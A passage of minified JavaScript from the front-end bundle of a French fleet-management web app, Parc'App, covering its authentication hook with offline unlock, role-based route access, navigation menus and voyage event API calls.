o=document.querySelector(&quot;meta[property=csp-nonce]&quot;),l=o?.nonce||o?.getAttribute(&quot;nonce&quot;);i=c(r.map(d=&gt;{if(d=Gue(d),d in h7)return;h7[d]=!0;const u=d.endsWith(&quot;.css&quot;),h=u?&#039;[rel=&quot;stylesheet&quot;]&#039;:&quot;&quot;;if(document.querySelector(`link[href=&quot;${d}&quot;]${h}`))return;const p=document.createElement(&quot;link&quot;);if(p.rel=u?&quot;stylesheet&quot;:que,u||(p.as=&quot;script&quot;),p.crossOrigin=&quot;&quot;,p.href=d,l&amp;&amp;p.setAttribute(&quot;nonce&quot;,l),document.head.appendChild(p),u)return new Promise((A,y)=&gt;{p.addEventListener(&quot;load&quot;,A),p.addEventListener(&quot;error&quot;,()=&gt;y(new Error(`Unable to preload CSS for ${d}`)))})}))}function s(o){const l=new Event(&quot;vite:preloadError&quot;,{cancelable:!0});if(l.payload=o,window.dispatchEvent(l),!l.defaultPrevented)throw o}return i.then(o=&gt;{for(const l of o||[])l.status===&quot;rejected&quot;&amp;&amp;s(l.reason);return t().catch(s)})};function dy(){const e=eo(),[t,r]=I.useState(Vd()),[n,i]=I.useState(!!t),[s,o]=I.useState(()=&gt;{try{const M=localStorage.getItem(&quot;parcapp_offline_unlocked&quot;);if(M){const{unlocked:O,timestamp:$}=JSON.parse(M),P=Date.now();if(O&amp;&amp;$&amp;&amp;P-$&lt;1440*60*1e3)return console.log(&quot;[useAuth] État offlineUnlocked restauré depuis localStorage, timestamp:&quot;,$),!0;console.log(&quot;[useAuth] État offlineUnlocked expiré, nettoyage localStorage&quot;),localStorage.removeItem(&quot;parcapp_offline_unlocked&quot;)}}catch(M){console.error(&quot;[useAuth] Erreur lors de la lecture de offlineUnlocked depuis localStorage:&quot;,M)}return!1}),[l,c]=I.useState(()=&gt;{try{const M=localStorage.getItem(&quot;parcapp_offline_unlocked&quot;);if(M){const{unlocked:O,timestamp:$}=JSON.parse(M),P=Date.now();if(O&amp;&amp;$&amp;&amp;P-$&lt;1440*60*1e3&amp;&amp;O)return console.log(&quot;[useAuth] hasOfflineProfileState initialisé à true car offlineUnlocked est true au démarrage&quot;),!0}}catch(M){console.error(&quot;[useAuth] Erreur lors de la lecture de localStorage pour hasOfflineProfileState:&quot;,M)}return!1}),[d,u]=I.useState(null),h=()=&gt;{try{const M=localStorage.getItem(&quot;parcapp_offline_unlocked&quot;);if(M){const{unlocked:O,timestamp:$}=JSON.parse(M),P=Date.now();if(O&amp;&amp;$&amp;&amp;P-$&lt;1440*60*1e3)return!0}}catch(M){console.error(&quot;[useAuth] Erreur lors de l&#039;initialisation de offlineUnlockedRef:&quot;,M)}return!1},p=I.useRef(h()),A=()=&gt;{try{const M=localStorage.getItem(&quot;parcapp_offline_unlocked&quot;);if(M){const{unlocked:O,timestamp:$}=JSON.parse(M),P=Date.now();if(O&amp;&amp;$&amp;&amp;P-$&lt;1440*60*1e3&amp;&amp;$)return $}}catch(M){console.error(&quot;[useAuth] Erreur lors de l&#039;initialisation de lastUnlockTimestampRef:&quot;,M)}return 0},y=I.useRef(A()),[v,w]=I.useState(()=&gt;{try{return navigator.onLine}catch{return!0}});I.useEffect(()=&gt;{i(!!t)},[t]),I.useEffect(()=&gt;{p.current=s;try{if(s){const M={unlocked:!0,timestamp:Date.now()};localStorage.setItem(&quot;parcapp_offline_unlocked&quot;,JSON.stringify(M)),console.log(&quot;[useAuth] État offlineUnlocked persisté dans localStorage, timestamp:&quot;,M.timestamp)}}catch(M){console.error(&quot;[useAuth] Erreur lors de la sauvegarde de offlineUnlocked dans localStorage:&quot;,M)}},[s]),I.useEffect(()=&gt;{let M=!0;const O=setTimeout(async()=&gt;{try{let $=!1,P=0;try{const xe=localStorage.getItem(&quot;parcapp_offline_unlocked&quot;);if(xe){const{unlocked:_e,timestamp:Ce}=JSON.parse(xe);$=_e===!0,P=Ce||0;const we=Date.now();!($&amp;&amp;P&gt;0&amp;&amp;we-P&lt;1440*60*1e3)&amp;&amp;$&amp;&amp;(console.log(&quot;[useAuth] État localStorage expiré, nettoyage&quot;),localStorage.removeItem(&quot;parcapp_offline_unlocked&quot;),$=!1,P=0)}}catch(xe){console.error(&quot;[useAuth] Erreur lors de la lecture de localStorage:&quot;,xe)}const L=p.current||$,X=Date.now(),W=y.current&gt;0?y.current:P&gt;0?P:0,G=W&gt;0&amp;&amp;X-W&lt;1e4,{hasOfflineProfile:J,getOfflineProfile:q}=await On(async()=&gt;{const{hasOfflineProfile:xe,getOfflineProfile:_e}=await Promise.resolve().then(()=&gt;Qp);return{hasOfflineProfile:xe,getOfflineProfile:_e}},void 0),ee=await J();if(!M)return;const ne=y.current,V=ne&gt;0&amp;&amp;Date.now()-ne&lt;1e4,ue=p.current;if(console.log(&quot;[useAuth] Vérification profil offline, wasUnlocked:&quot;,L,&quot;wasUnlockedFromStorage:&quot;,$,&quot;offlineUnlocked:&quot;,s,&quot;currentUnlockedRef:&quot;,ue,&quot;justUnlocked:&quot;,G,&quot;lastUnlock:&quot;,W,&quot;lastUnlockFromStorage:&quot;,P,&quot;lastUnlockAfterAsync:&quot;,ne,&quot;justUnlockedAfterAsync:&quot;,V),ee?c(!0):L||$||G||V||s||ue?console.log(&quot;[useAuth] Profil non trouvé MAIS déverrouillé, PRÉSERVATION hasOfflineProfileState&quot;):c(!1),ee){const xe=await q();if(!M)return;if(u(xe),xe){const _e=Date.now()&gt;xe.expiresAt,Ce=xe.lockUntil!==null&amp;&amp;Date.now()&lt;xe.lockUntil;if((_e||Ce)&amp;&amp;!G&amp;&amp;!V&amp;&amp;!$){console.log(&quot;[useAuth] Profil expiré ou verrouillé, réinitialisation offlineUnlocked&quot;),o(!1),p.current=!1;try{localStorage.removeItem(&quot;parcapp_offline_unlocked&quot;)}catch(we){console.error(&quot;[useAuth] Erreur lors du nettoyage localStorage:&quot;,we)}}else if(_e||Ce)console.log(&quot;[useAuth] Profil expiré/verrouillé mais vient de déverrouiller ou localStorage actif, préservation temporaire (wasUnlockedFromStorage:&quot;,$,&quot;)&quot;);else if(L||$||G||V||s||ue){if(console.log(&quot;[useAuth] Profil valide, PRÉSERVATION offlineUnlocked=true (wasUnlocked:&quot;,L,&quot;wasUnlockedFromStorage:&quot;,$,&quot;justUnlocked:&quot;,G,&quot;justUnlockedAfterAsync:&quot;,V,&quot;offlineUnlocked:&quot;,s,&quot;currentUnlockedRef:&quot;,ue,&quot;lastUnlock:&quot;,W,&quot;lastUnlockFromStorage:&quot;,P,&quot;lastUnlockAfterAsync:&quot;,ne,&quot;)&quot;),o(!0),p.current=!0,!$)try{const we=ne&gt;0?ne:W&gt;0?W:X;localStorage.setItem(&quot;parcapp_offline_unlocked&quot;,JSON.stringify({unlocked:!0,timestamp:we}))}catch(we){console.error(&quot;[useAuth] Erreur lors de la sauvegarde dans localStorage:&quot;,we)}}else console.log(&quot;[useAuth] Profil valide mais pas déverrouillé, état inchangé (ne pas forcer)&quot;)}else if(L||$||G||V||s||ue){if(console.log(&quot;[useAuth] Profil introuvable MAIS était déverrouillé, PRÉSERVATION offlineUnlocked=true ET hasOfflineProfileState=true (wasUnlockedFromStorage:&quot;,$,&quot;currentUnlockedRef:&quot;,ue,&quot;justUnlockedAfterAsync:&quot;,V,&quot;lastUnlockAfterAsync:&quot;,ne,&quot;)&quot;),o(!0),p.current=!0,c(!0),!$)try{localStorage.setItem(&quot;parcapp_offline_unlocked&quot;,JSON.stringify({unlocked:!0,timestamp:X}))}catch(_e){console.error(&quot;[useAuth] Erreur lors de la sauvegarde dans localStorage:&quot;,_e)}}else console.log(&quot;[useAuth] Profil introuvable et pas déverrouillé, état inchangé&quot;)}else if(u(null),L||$||G||V||s||ue){if(console.log(&quot;[useAuth] Pas de profil offline MAIS était déverrouillé, PRÉSERVATION offlineUnlocked=true ET hasOfflineProfileState=true (wasUnlockedFromStorage:&quot;,$,&quot;currentUnlockedRef:&quot;,ue,&quot;justUnlockedAfterAsync:&quot;,V,&quot;lastUnlockAfterAsync:&quot;,ne,&quot;)&quot;),o(!0),p.current=!0,c(!0),!$)try{localStorage.setItem(&quot;parcapp_offline_unlocked&quot;,JSON.stringify({unlocked:!0,timestamp:X}))}catch(xe){console.error(&quot;[useAuth] Erreur lors de la sauvegarde dans localStorage:&quot;,xe)}}else console.log(&quot;[useAuth] Pas de profil offline et pas déverrouillé, état inchangé&quot;)}catch($){if(console.error(&quot;[Auth] Erreur lors de la vérification du profil offline:&quot;,$),!M)return;let P=!1;try{const ee=localStorage.getItem(&quot;parcapp_offline_unlocked&quot;);if(ee){const{unlocked:ne,timestamp:V}=JSON.parse(ee);P=ne===!0;const ue=Date.now();!(P&amp;&amp;V&amp;&amp;ue-V&lt;1440*60*1e3)&amp;&amp;P&amp;&amp;(localStorage.removeItem(&quot;parcapp_offline_unlocked&quot;),P=!1)}}catch(ee){console.error(&quot;[useAuth] Erreur lors de la lecture localStorage:&quot;,ee)}const L=p.current,X=Date.now(),W=y.current,G=W&gt;0&amp;&amp;X-W&lt;1e4,J=p.current;if(console.log(&quot;[useAuth] Erreur de vérification, wasUnlocked:&quot;,L,&quot;wasUnlockedFromStorage:&quot;,P,&quot;justUnlocked:&quot;,G,&quot;offlineUnlocked:&quot;,s,&quot;currentUnlockedRef:&quot;,J,&quot;lastUnlock:&quot;,W),L||P||G||s||J?console.log(&quot;[useAuth] Erreur de vérification MAIS déverrouillé, PRÉSERVATION hasOfflineProfileState&quot;):c(!1),u(null),L||P||G||s||J){if(console.log(&quot;[useAuth] Erreur de vérification MAIS était déverrouillé, PRÉSERVATION offlineUnlocked=true ET hasOfflineProfileState=true&quot;),o(!0),p.current=!0,c(!0),!P)try{localStorage.setItem(&quot;parcapp_offline_unlocked&quot;,JSON.stringify({unlocked:!0,timestamp:X}))}catch(ee){console.error(&quot;[useAuth] Erreur lors de la sauvegarde localStorage:&quot;,ee)}}else console.log(&quot;[useAuth] Erreur de vérification et pas déverrouillé, état inchangé&quot;)}},100);return()=&gt;{M=!1,clearTimeout(O)}},[v]),I.useEffect(()=&gt;{const M=()=&gt;{const O=Vd();r(O)};return window.addEventListener(&quot;storage&quot;,M),()=&gt;{window.removeEventListener(&quot;storage&quot;,M)}},[]);const j=cr({queryKey:[&quot;auth&quot;,&quot;me&quot;],queryFn:async()=&gt;null,enabled:!1,select:M=&gt;e.getQueryData([&quot;auth&quot;,&quot;me&quot;])??M??null}),E=j.data??null,S=j.isLoading;I.useEffect(()=&gt;{const M=async()=&gt;{if(w(!0),l)try{const{updateLastOnlineAt:$}=await On(async()=&gt;{const{updateLastOnlineAt:P}=await Promise.resolve().then(()=&gt;Qp);return{updateLastOnlineAt:P}},void 0);await $()}catch($){console.error(&quot;[Auth] Erreur lors de la mise à jour lastOnlineAt:&quot;,$)}},O=()=&gt;{if(w(!1),!l)try{const $=localStorage.getItem(&quot;parcapp_offline_unlocked&quot;);if($){const{unlocked:P,timestamp:L}=JSON.parse($),X=Date.now();P&amp;&amp;L&amp;&amp;X-L&lt;1440*60*1e3||(localStorage.removeItem(&quot;parcapp_offline_unlocked&quot;),o(!1))}else o(!1)}catch($){console.error(&quot;[useAuth] Erreur lors de la vérification localStorage dans handleOffline:&quot;,$),o(!1)}};return window.addEventListener(&quot;online&quot;,M),window.addEventListener(&quot;offline&quot;,O),()=&gt;{window.removeEventListener(&quot;online&quot;,M),window.removeEventListener(&quot;offline&quot;,O)}},[t,E,l]),I.useEffect(()=&gt;{E&amp;&amp;v&amp;&amp;l&amp;&amp;(async()=&gt;{try{const{updateLastOnlineAt:M}=await On(async()=&gt;{const{updateLastOnlineAt:O}=await Promise.resolve().then(()=&gt;Qp);return{updateLastOnlineAt:O}},void 0);await M()}catch(M){console.error(&quot;[Auth] Erreur lors de la mise à jour lastOnlineAt:&quot;,M)}})()},[E,v,l]),I.useEffect(()=&gt;{const M=e.getQueryState([&quot;auth&quot;,&quot;me&quot;]);if(M?.error){const O=M.error;(O.status===401||O.status===403)&amp;&amp;(f7(),r(null),i(!1),(async()=&gt;{try{const{clearOfflineProfile:$}=await On(async()=&gt;{const{clearOfflineProfile:P}=await Promise.resolve().then(()=&gt;Qp);return{clearOfflineProfile:P}},void 0);await $(),c(!1),o(!1),p.current=!1,u(null);try{localStorage.removeItem(&quot;parcapp_offline_unlocked&quot;)}catch(P){console.error(&quot;[Auth] Erreur lors du nettoyage localStorage:&quot;,P)}}catch($){console.error(&quot;[Auth] Erreur lors de la suppression du profil offline:&quot;,$)}})())}},[e]);const _=_r({mutationFn:async M=&gt;await sN(&quot;/api/login&quot;,{method:&quot;POST&quot;,headers:{&quot;Content-Type&quot;:&quot;application/json&quot;,Accept:&quot;application/json&quot;},body:M}),onSuccess:async M=&gt;{if(Hue(M.token),r(M.token),i(!0),e.setQueryData([&quot;auth&quot;,&quot;me&quot;],M.user),l)try{const{updateLastOnlineAt:O}=await On(async()=&gt;{const{updateLastOnlineAt:$}=await Promise.resolve().then(()=&gt;Qp);return{updateLastOnlineAt:$}},void 0);await O()}catch(O){console.error(&quot;[Auth] Erreur lors de la mise à jour lastOnlineAt:&quot;,O)}}}),C=I.useCallback(async()=&gt;{try{v&amp;&amp;await sN(&quot;/api/logout&quot;,{method:&quot;POST&quot;})}catch(M){console.error(&quot;Erreur lors de la déconnexion:&quot;,M)}finally{f7(),r(null),i(!1),e.clear(),e.setQueryData([&quot;auth&quot;,&quot;me&quot;],null);try{const{clearOfflineProfile:M}=await On(async()=&gt;{const{clearOfflineProfile:O}=await Promise.resolve().then(()=&gt;Qp);return{clearOfflineProfile:O}},void 0);await M(),c(!1),o(!1),p.current=!1,u(null);try{localStorage.removeItem(&quot;parcapp_offline_unlocked&quot;)}catch(O){console.error(&quot;[Auth] Erreur lors du nettoyage localStorage:&quot;,O)}}catch(M){console.error(&quot;[Auth] Erreur lors de la suppression du profil offline:&quot;,M)}}},[e,v]),Q=I.useCallback(()=&gt;{console.log(&quot;[useAuth] ===== unlockOffline() APPELÉ =====&quot;);const M=Date.now();console.log(&quot;[useAuth] État AVANT: offlineUnlocked =&quot;,p.current),console.log(&quot;[useAuth] Appel setOfflineUnlocked(true)...&quot;),p.current=!0,y.current=M;try{const O={unlocked:!0,timestamp:M};localStorage.setItem(&quot;parcapp_offline_unlocked&quot;,JSON.stringify(O)),console.log(&quot;[useAuth] État offlineUnlocked persisté IMMÉDIATEMENT dans localStorage, timestamp:&quot;,M)}catch(O){console.error(&quot;[useAuth] Erreur lors de la sauvegarde immédiate dans localStorage:&quot;,O)}console.log(&quot;[useAuth] Refs mises à jour: offlineUnlockedRef=true, lastUnlockTimestampRef=&quot;,M),o(!0),console.log(&quot;[useAuth] setOfflineUnlocked(true) appelé, React devrait déclencher un re-rendu&quot;)},[]),R=I.useCallback(async()=&gt;{try{const{clearOfflineProfile:M}=await On(async()=&gt;{const{clearOfflineProfile:O}=await Promise.resolve().then(()=&gt;Qp);return{clearOfflineProfile:O}},void 0);await M(),c(!1),o(!1),p.current=!1,u(null);try{localStorage.removeItem(&quot;parcapp_offline_unlocked&quot;)}catch(O){console.error(&quot;[Auth] Erreur lors du nettoyage localStorage:&quot;,O)}}catch(M){throw console.error(&quot;[Auth] Erreur lors de la réinitialisation du profil offline:&quot;,M),M}},[]),T=I.useMemo(()=&gt;{console.log(&quot;[useAuth] ===== CALCUL authMode =====&quot;),console.log(&quot;[useAuth] Inputs:&quot;,{isOnline:v,hasToken:!!t,hasOfflineProfileState:l,offlineUnlocked:s,hasUser:!!E});try{if(v===void 0||t===void 0||l===void 0||s===void 0){const O=&quot;needs-online-login&quot;;return console.log(&quot;[useAuth] authMode:&quot;,O,&quot;(valeurs non initialisées)&quot;),O}if(v){if(E){const $=&quot;online&quot;;return console.log(&quot;[useAuth] authMode:&quot;,$,&quot;(utilisateur connecté)&quot;),$}if(t){const $=&quot;needs-online-login&quot;;return console.log(&quot;[useAuth] authMode:&quot;,$,&quot;(token invalide)&quot;),$}const O=&quot;needs-online-login&quot;;return console.log(&quot;[useAuth] authMode:&quot;,O,&quot;(pas de token)&quot;),O}if(!l){const O=&quot;needs-online-login&quot;;return console.log(&quot;[useAuth] authMode:&quot;,O,&quot;(pas de profil offline)&quot;),O}if(s){const O=&quot;offline-unlocked&quot;;return console.log(&quot;[useAuth] authMode:&quot;,O,&quot;(profil déverrouillé) - OFFLINE UNLOCKED DÉTECTÉ!&quot;),O}const M=&quot;offline-locked&quot;;return console.log(&quot;[useAuth] authMode:&quot;,M,&quot;(profil verrouillé)&quot;),M}catch(M){return console.error(&quot;[Auth] Erreur lors du calcul de authMode:&quot;,M),&quot;needs-online-login&quot;}},[v,E,t,l,s]);return{isAuthenticated:n,token:t,user:E||null,isLoading:S,login:_.mutate,loginAsync:_.mutateAsync,isLoggingIn:_.isPending,logout:C,isOnline:v,isOffline:!v,hasOfflineProfile:l,offlineUnlocked:s,authMode:T,cachedOfflineProfile:d,unlockOffline:Q,resetOfflineProfile:R}}function k4(){const{logout:e}=dy(),[,t]=Gi();return _r({mutationFn:async()=&gt;{await e(),t(&quot;/login&quot;)},onError:r=&gt;{console.error(&quot;Erreur lors de la déconnexion:&quot;,r),t(&quot;/login&quot;)}})}function _4(e){return e?e===&quot;chauffeur&quot;||e===&quot;apprenti&quot;:!1}function MM(e){return e?e===&quot;chauffeur&quot;||e===&quot;apprenti&quot;||e===&quot;admin&quot;:!1}function Vue(e,t){return t===&quot;/&quot;?e===&quot;/&quot;:e===t||e.startsWith(t+&quot;/&quot;)}const Wue=[{path:&quot;/&quot;,allowedRoles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;comptable&quot;,&quot;atelier&quot;]},{path:&quot;/dashboard&quot;,allowedRoles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;comptable&quot;,&quot;atelier&quot;]},{path:&quot;/voyages&quot;,allowedRoles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;],readOnlyRoles:[&quot;comptable&quot;,&quot;atelier&quot;]},{path:&quot;/trajets&quot;,allowedRoles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;],readOnlyRoles:[&quot;comptable&quot;,&quot;atelier&quot;]},{path:&quot;/attelages&quot;,allowedRoles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;]},{path:&quot;/incidents&quot;,allowedRoles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;atelier&quot;],readOnlyRoles:[&quot;comptable&quot;]},{path:&quot;/pannes&quot;,allowedRoles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;atelier&quot;],readOnlyRoles:[&quot;comptable&quot;]},{path:&quot;/maintenances&quot;,allowedRoles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;atelier&quot;]},{path:&quot;/statistiques/finance&quot;,allowedRoles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;comptable&quot;]},{path:&quot;/statistiques&quot;,allowedRoles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;],readOnlyRoles:[&quot;secretaire&quot;,&quot;atelier&quot;,&quot;comptable&quot;]},{path:&quot;/parametres&quot;,allowedRoles:[&quot;admin&quot;]}];function hS(e,t){if(!e)return!1;if(_4(e))return t.startsWith(&quot;/driver&quot;);if(t.startsWith(&quot;/driver&quot;))return MM(e);for(const r of Wue)if(Vue(t,r.path))return!!(r.allowedRoles.includes(e)||r.readOnlyRoles?.includes(e));return!1}const Kue=[{title:&quot;Tableau de bord&quot;,url:&quot;/&quot;,icon:h4,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;comptable&quot;,&quot;atelier&quot;]},{title:&quot;Voyages&quot;,url:&quot;/voyages&quot;,icon:ei,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;comptable&quot;]},{title:&quot;Attelages&quot;,url:&quot;/attelages&quot;,icon:Xv,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;]},{title:&quot;Pannes/Incidents&quot;,url:&quot;/incidents&quot;,icon:Kn,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;atelier&quot;]},{title:&quot;Entretiens&quot;,url:&quot;/maintenances&quot;,icon:ty,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;atelier&quot;]},{title:&quot;Statistiques&quot;,url:&quot;/statistiques&quot;,icon:Jv,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;comptable&quot;]},{title:&quot;Paramètres&quot;,url:&quot;/parametres&quot;,icon:zm,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;]}];function Yue(e){return e?_4(e)?[]:Kue.filter(t=&gt;hS(e,t.url)):[]}function Zue(){const[e]=Gi(),{data:t}=ih(),r=k4(),n=Yue(t?.role),i=()=&gt;{r.mutate()};return a.jsxs(Due,{className:&quot;hidden md:flex&quot;,children:[a.jsx(Rue,{className:&quot;border-b p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex h-12 w-12 items-center justify-center rounded-lg bg-primary/10 p-1.5&quot;,children:a.jsx(&quot;img&quot;,{src:&quot;/logo-parc-app.png&quot;,alt:&quot;Parc&#039;App Logo&quot;,className:&quot;h-full w-full object-contain&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h2&quot;,{className:&quot;text-lg font-semibold&quot;,children:&quot;Parc&#039;App&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Gestion de flotte&quot;})]})]})}),a.jsx(Que,{children:a.jsxs(Fue,{children:[a.jsx(Oue,{children:&quot;Navigation&quot;}),a.jsx(Lue,{children:a.jsx(Mue,{className:&quot;space-y-1&quot;,children:n.map(s=&gt;{const o=s.url===&quot;/statistiques&quot;||s.url===&quot;/parametres&quot;?e.startsWith(s.url):e===s.url;return a.jsx(Uue,{children:a.jsx($ue,{asChild:!0,isActive:o,className:`${o?&quot;bg-primary/10 border-l-4 border-l-primary font-semibold&quot;:&quot;&quot;} py-3 px-4 gap-3`,children:a.jsxs(jm,{href:s.url,to:s.url,&quot;data-testid&quot;:`link-${s.title.toLowerCase().replace(/\s+/g,&quot;-&quot;)}`,className:&quot;w-full flex items-center&quot;,children:[a.jsx(s.icon,{className:`h-7 w-7 flex-shrink-0 ${o?&quot;text-primary&quot;:&quot;&quot;}`}),a.jsx(&quot;span&quot;,{className:&quot;text-base font-medium&quot;,children:s.title})]})})},s.title)})})})]})}),a.jsx(Pue,{className:&quot;border-t p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[t&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 px-2 py-1.5 text-sm text-muted-foreground&quot;,children:[a.jsx(nh,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;truncate&quot;,children:t.username})]}),a.jsxs(ge,{variant:&quot;ghost&quot;,className:&quot;w-full justify-start gap-2&quot;,onClick:i,disabled:r.isPending,children:[a.jsx(m4,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:r.isPending?&quot;Déconnexion...&quot;:&quot;Se déconnecter&quot;})]})]})})]})}function Jue(){const[e,t]=I.useState(&quot;light&quot;);I.useEffect(()=&gt;{const i=localStorage.getItem(&quot;theme&quot;)||&quot;light&quot;;t(i),document.documentElement.classList.toggle(&quot;dark&quot;,i===&quot;dark&quot;)},[]);const r=()=&gt;{const n=e===&quot;light&quot;?&quot;dark&quot;:&quot;light&quot;;t(n),localStorage.setItem(&quot;theme&quot;,n),document.documentElement.classList.toggle(&quot;dark&quot;,n===&quot;dark&quot;)};return a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:r,&quot;data-testid&quot;:&quot;button-theme-toggle&quot;,children:e===&quot;light&quot;?a.jsx(wse,{className:&quot;h-5 w-5&quot;}):a.jsx(Sse,{className:&quot;h-5 w-5&quot;})})}const Xue=[{title:&quot;Tableau de bord&quot;,path:&quot;/&quot;,icon:h4,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;comptable&quot;,&quot;atelier&quot;]},{title:&quot;Voyages&quot;,path:&quot;/voyages&quot;,icon:ei,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;comptable&quot;]},{title:&quot;Attelages&quot;,path:&quot;/attelages&quot;,icon:Xv,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;]},{title:&quot;Pannes/Incidents&quot;,path:&quot;/incidents&quot;,icon:Kn,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;atelier&quot;]},{title:&quot;Entretiens&quot;,path:&quot;/maintenances&quot;,icon:ty,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;atelier&quot;]},{title:&quot;Statistiques&quot;,path:&quot;/statistiques&quot;,icon:Jv,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;comptable&quot;]},{title:&quot;Paramètres&quot;,path:&quot;/parametres&quot;,icon:zm,roles:[&quot;admin&quot;,&quot;gestionnaire_parc&quot;]}];function e0e(e){return e?_4(e)?[]:Xue.filter(t=&gt;hS(e,t.path)):[]}function t0e(){const[e]=Gi(),{data:t}=ih(),r=e0e(t?.role);return a.jsx(&quot;nav&quot;,{className:&quot;fixed bottom-0 left-0 right-0 z-50 border-t bg-background md:hidden shadow-lg&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-around&quot;,children:r.map(n=&gt;{const i=n.path===&quot;/statistiques&quot;||n.path===&quot;/parametres&quot;?e.startsWith(n.path):e===n.path,s=n.icon;return a.jsxs(jm,{href:n.path,className:`flex flex-col items-center gap-1.5 py-3 px-4 min-w-0 flex-1 hover-elevate active-elevate-2 transition-all ${i?&quot;text-primary bg-primary/10 border-t-3 border-t-primary&quot;:&quot;text-muted-foreground&quot;}`,&quot;data-testid&quot;:`nav-${n.title.toLowerCase().replace(/\s+/g,&quot;-&quot;)}`,children:[a.jsx(s,{className:`h-8 w-8 flex-shrink-0 ${i?&quot;scale-110&quot;:&quot;&quot;} transition-transform`}),a.jsx(&quot;span&quot;,{className:`text-xs font-semibold truncate w-full text-center ${i?&quot;font-bold&quot;:&quot;&quot;}`,children:n.title})]},n.path)})})})}const r0e=Dg(&quot;whitespace-nowrap inline-flex items-center rounded-md border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 hover-elevate &quot;,{variants:{variant:{default:&quot;border-transparent bg-primary text-primary-foreground shadow-xs&quot;,secondary:&quot;border-transparent bg-secondary text-secondary-foreground&quot;,destructive:&quot;border-transparent bg-destructive text-destructive-foreground shadow-xs&quot;,outline:&quot; border [border-color:var(--badge-outline)] shadow-xs&quot;}},defaultVariants:{variant:&quot;default&quot;}});function yt({className:e,variant:t,...r}){return a.jsx(&quot;div&quot;,{className:nr(r0e({variant:t}),e),...r})}async function D4(e,t){const r=new URLSearchParams;t?.phase&amp;&amp;r.append(&quot;phase&quot;,t.phase),t?.etapeId&amp;&amp;r.append(&quot;etape_id&quot;,t.etapeId.toString()),t?.type&amp;&amp;r.append(&quot;type&quot;,t.type),t?.mediaKind&amp;&amp;r.append(&quot;media_kind&quot;,t.mediaKind),t?.incidentId&amp;&amp;r.append(&quot;incident_id&quot;,t.incidentId.toString()),t?.incidentStatus&amp;&amp;r.append(&quot;incident_status&quot;,t.incidentStatus);const n=r.toString(),i=`/api/voyages/${e}/events${n?`?${n}`:&quot;&quot;}`;return await $t(i)}async function UM(e,t){return await $t(`/api/voyages/${e}/events`,{method:&quot;POST&quot;,body:t})}async function mS(e,t){const r=new FormData;return r.append(&quot;type&quot;,&quot;media&quot;),r.append(&quot;media_kind&quot;,t.mediaKind),t.voyageEtapeId&amp;&amp;r.append(&quot;voyage_etape_id&quot;,t.voyageEtapeId.toString()),t.description&amp;&amp;r.append(&quot;description&quot;,t.description),t.occurredAt&amp;&amp;r.append(&quot;occurred_at&quot;,t.occurredAt),r.append(&quot;file&quot;,t.file),await $t(`/api/voyages/${e}/events`,{method:&quot;POST&quot;,body:r})}async function zM(e,t){return await $t(`/api/voyages/${e}/events/${t}/read`,{method:&quot;PATCH&quot;})}const $M=Object.freeze(Object.defineProperty({__proto__:null,createVoyageEventMedia:mS,createVoyageEventNote:UM,getVoyageEvents:D4,markEventAsRead:zM},Symbol.toStringTag,{value:&quot;Module&quot;}));async function n0e(e,t){return await UM(e,{type:t.type,voyageEtapeId:t.etapeId,description:t.description,occurredAt:new 